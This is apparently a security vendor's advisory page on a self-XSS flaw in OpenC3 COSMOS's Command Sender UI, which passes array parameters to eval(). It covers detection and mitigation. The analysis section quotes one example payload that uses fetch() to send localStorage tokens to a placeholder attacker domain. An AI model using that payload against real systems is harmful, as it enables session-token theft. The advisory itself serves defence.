The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-42086

CVE-2026-42086: OpenC3 COSMOS Command Sender XSS Flaw

CVE-2026-42086 is a cross-site scripting vulnerability in OpenC3 COSMOS that allows attackers to execute malicious scripts through the Command Sender UI. This article covers technical details, affected versions, and mitigation.

Published: May 7, 2026

CVE-2026-42086 Overview

CVE-2026-42086 is a self-Cross-Site Scripting (XSS) vulnerability in OpenC3 COSMOS, an open-source platform for sending commands to and receiving telemetry from embedded systems. The Command Sender UI passes array-like command parameters to JavaScript eval(), allowing attacker-supplied input to execute as code in the victim's browser session. Successful exploitation lets an attacker read or modify data in the authenticated browser context, including session tokens stored in localStorage. The issue affects all versions prior to 7.0.0 and is tracked as [CWE-79]. The maintainers patched the flaw in version 7.0.0.

Critical Impact

An authenticated user tricked into pasting a crafted array parameter into the Command Sender UI executes attacker-controlled JavaScript in their session, exposing session tokens and authenticated COSMOS data.

Affected Products

  • OpenC3 COSMOS versions prior to 7.0.0
  • OpenC3 COSMOS Command Sender UI component
  • Deployments exposing the COSMOS web interface to authenticated operators

Discovery Timeline

  • 2026-05-04 - CVE-2026-42086 published to NVD
  • 2026-05-04 - Last updated in NVD database
  • Patched - Fix released in OpenC3 COSMOS version 7.0.0

Technical Details for CVE-2026-42086

Vulnerability Analysis

The vulnerability exists in the Command Sender UI of OpenC3 COSMOS. When an operator submits a command containing an array-like parameter, the front-end code passes the parameter string to JavaScript's eval() function to convert it into a runtime array. Because eval() executes any valid JavaScript, a crafted parameter such as [1,2];fetch('https://attacker.tld/?t='+localStorage.token) runs as code rather than being parsed as data. The execution occurs inside the authenticated COSMOS origin, granting the attacker access to session storage, DOM contents, and any API the user can reach.

This is classified as self-XSS because the malicious payload must be entered by the victim. Realistic delivery vectors include phishing emails or chat messages instructing operators to paste a value into the parameter field, or social engineering disguised as a legitimate command template. User interaction is required, which is reflected in the moderate scoring.

Root Cause

The root cause is unsafe use of eval() to deserialize user-controlled input. Secure parsers such as JSON.parse() or a dedicated array-literal tokenizer would treat the input strictly as data. The COSMOS team replaced the unsafe parsing path in version 7.0.0.

Attack Vector

The attack requires network access to the COSMOS web interface, valid low-privileged credentials, and user interaction. An attacker convinces an authenticated operator to paste a crafted string into an array parameter field of the Command Sender UI. When the command is submitted, the payload executes in the victim's browser. The attacker can then exfiltrate session tokens, issue commands on behalf of the user, or alter telemetry views.

No verified exploit code is published. See the GitHub Security Advisory for the maintainer's technical description.

Detection Methods for CVE-2026-42086

Indicators of Compromise

  • Command Sender submissions where array parameter values contain JavaScript syntax such as fetch(, XMLHttpRequest, document.cookie, or localStorage.
  • Outbound browser requests from operator workstations to unfamiliar domains immediately after a COSMOS command submission.
  • Unexpected COSMOS API calls originating from a legitimate user session that the operator did not initiate.

Detection Strategies

  • Inspect COSMOS application logs for command parameter values containing characters and tokens uncommon in numeric arrays, including (, ;, =, and identifier names.
  • Deploy a Content Security Policy (CSP) report endpoint and monitor script-src violations originating from the Command Sender UI.
  • Correlate browser proxy logs with COSMOS session activity to flag external HTTP requests triggered during command entry.

Monitoring Recommendations

  • Alert on new outbound destinations contacted by browsers with active COSMOS sessions.
  • Track command submissions per user and flag parameter payloads exceeding expected length or containing alphabetic characters where numerics are expected.
  • Audit localStorage access patterns and authentication token reuse from unexpected IP addresses.

How to Mitigate CVE-2026-42086

Immediate Actions Required

  • Upgrade OpenC3 COSMOS to version 7.0.0 or later, which removes the unsafe eval() call.
  • Invalidate active operator sessions and rotate any tokens stored in browser localStorage after upgrading.
  • Brief operators on the self-XSS pattern and instruct them never to paste parameter values supplied by external parties.

Patch Information

The vulnerability is fixed in OpenC3 COSMOS version 7.0.0. Refer to the GitHub Security Advisory GHSA-ffq5-qpvf-xq7x for upgrade guidance and the patched commit reference.

Workarounds

  • Restrict access to the COSMOS web interface to a trusted operator network segment until the upgrade is applied.
  • Apply a strict Content Security Policy that disallows unsafe-eval and inline scripts to limit payload execution.
  • Require multi-factor authentication for operator accounts to reduce the value of stolen session tokens.
bash
# Upgrade OpenC3 COSMOS containers to the patched release
docker compose pull
OPENC3_TAG=7.0.0 docker compose up -d

# Verify the running version
curl -s http://cosmos.local:2900/openc3-api/version | jq .

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeXSS

  • Vendor/TechOpenc3

  • SeverityMEDIUM

  • CVSS Score4.6

  • EPSS Probability0.03%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityLow
  • AvailabilityNone
  • CWE References
  • CWE-79
  • Technical References
  • GitHub Security Advisory
  • Related CVEs
  • CVE-2026-42084: OpenC3 COSMOS Auth Bypass Vulnerability

  • CVE-2026-42087: OpenC3 COSMOS SQL Injection Vulnerability

  • CVE-2026-42085: OpenC3 COSMOS Path Traversal Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English